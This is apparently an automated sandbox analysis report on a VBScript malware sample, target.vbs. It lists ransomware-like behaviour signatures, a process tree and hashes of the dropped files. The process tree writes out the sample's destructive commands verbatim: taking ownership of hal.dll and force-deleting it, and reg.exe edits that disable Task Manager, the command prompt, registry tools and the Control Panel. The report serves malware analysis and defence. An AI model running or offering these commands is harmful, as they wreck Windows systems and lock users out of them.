Analysis

  • max time kernel
    135s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/07/2024, 14:06

General

  • Target
    target.vbs
  • Size 3KB
  • Sample240726-ref23asdkj
  • SHA256 1f5908c7c460b3f96247bfca0ee219a2fbfb0338f883a0ca51d995791671a38b
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • Renames multiple (203) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Possible privilege escalation attempt 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Modifies file permissions 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry key 1 TTPs 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\target.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3500
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c takeown /f C:\Windows\System32\hal.dll && icacls C:\Windows\System32\hal.dll /grant Everyone:(F) && del/f/s/q C:\Windows\System32\hal.dll && pause
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2512
      • C:\Windows\system32\takeown.exe
        takeown /f C:\Windows\System32\hal.dll
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:2032
      • C:\Windows\system32\icacls.exe
        icacls C:\Windows\System32\hal.dll /grant Everyone:(F)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:1692
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      2⤵
      • Modifies registry key
      PID:1408
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add HKCU\SOFTWARE\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f
      2⤵
      • Modifies registry key
      PID:2948
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop /v NoChangingWallpaper /t REG_DWORD /d 1 /f
      2⤵
      • Modifies registry key
      PID:396
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f
      2⤵
      • Modifies registry key
      PID:2944
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
      2⤵
      • Modifies registry key
      PID:344
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
      2⤵
      • Modifies registry key
      PID:2164
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add HKCU\Control Panel\Mouse /v SwapMouseButtons /t REG_SZ /d 1 /f
      2⤵
      • Modifies registry key
      PID:2760
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
      2⤵
      • Disables RegEdit via registry modification
      • Modifies registry key
      PID:3404

Network

        MITRE ATT&CK Enterprise v15

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        Downloads

        sh.vbs

        • Path C:\Users\Admin\AppData\Roaming\sh.vbs
        • Size 79B
        • SHA256 c97fb00a65e02154715ebab5948521244d6572b50e817076b122402b328cbf41
        • MD5 SHA1 SHA512

        03016648.exe.LNK

        • Path C:\Users\Admin\Desktop\03016648.exe.LNK
        • Size 1KB
        • SHA256 dd18f1a238a419edac4d7d7d2abdab9a37743698d6d2d1b9cf59d3a984ed0d1c
        • MD5 SHA1 SHA512

        04012538.exe.LNK

        • Path C:\Users\Admin\Desktop\04012538.exe.LNK
        • Size 1KB
        • SHA256 a00fff848117bb750f115b150e7b5993b60b510f910c99abbfa24e96c1ed51cc
        • MD5 SHA1 SHA512

        05013691.exe.LNK

        • Path C:\Users\Admin\Desktop\05013691.exe.LNK
        • Size 1KB
        • SHA256 46450f2fc5b6faacde7b093ba12ca97d95c59ec8affe3027da50a9bfbdda3daa
        • MD5 SHA1 SHA512

        DenySkip.mhtml.vbs

        • Path C:\Users\Admin\Desktop\DenySkip.mhtml.vbs
        • Size 63B
        • SHA256 02fea62b5b131e6b20297295807ef84edce22c16454d7ce9e3195643b2bbab4e
        • MD5 SHA1 SHA512